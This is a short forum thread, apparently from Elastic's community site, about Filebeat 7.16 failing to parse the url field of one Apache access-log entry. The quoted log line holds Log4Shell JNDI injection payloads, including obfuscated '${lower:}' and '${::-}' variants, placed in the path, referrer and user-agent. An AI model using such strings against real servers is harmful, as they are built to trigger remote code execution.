Missing url

I have a particular http request logged in my access.log.
The request is found using the http.referrer, but the corresponding url object is missing.
I have the following configuration:

  • Elasticsearch 7.16.1
  • Filebeat 7.16.1 [ pipeline: filebeat-7.16.0-apache-access-pipeline]
  • Kibana 7.16.1

Welcome to our community! :smiley:

I think you need to provide a bit more context here, including examples of your events.

Here after is a log event.
Elasticsearch did assign to it an http.referrer property. But, the url object is not extracted, therefore, I cannot use url.original for my query. - - [23/Dec/2021:21:25:08 +0100] "GET /?x=${jndi:ldap://} HTTP/1.1" 400 7702 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://}" "-"

This topic was automatically closed 28 days after the last reply. New replies are no longer allowed.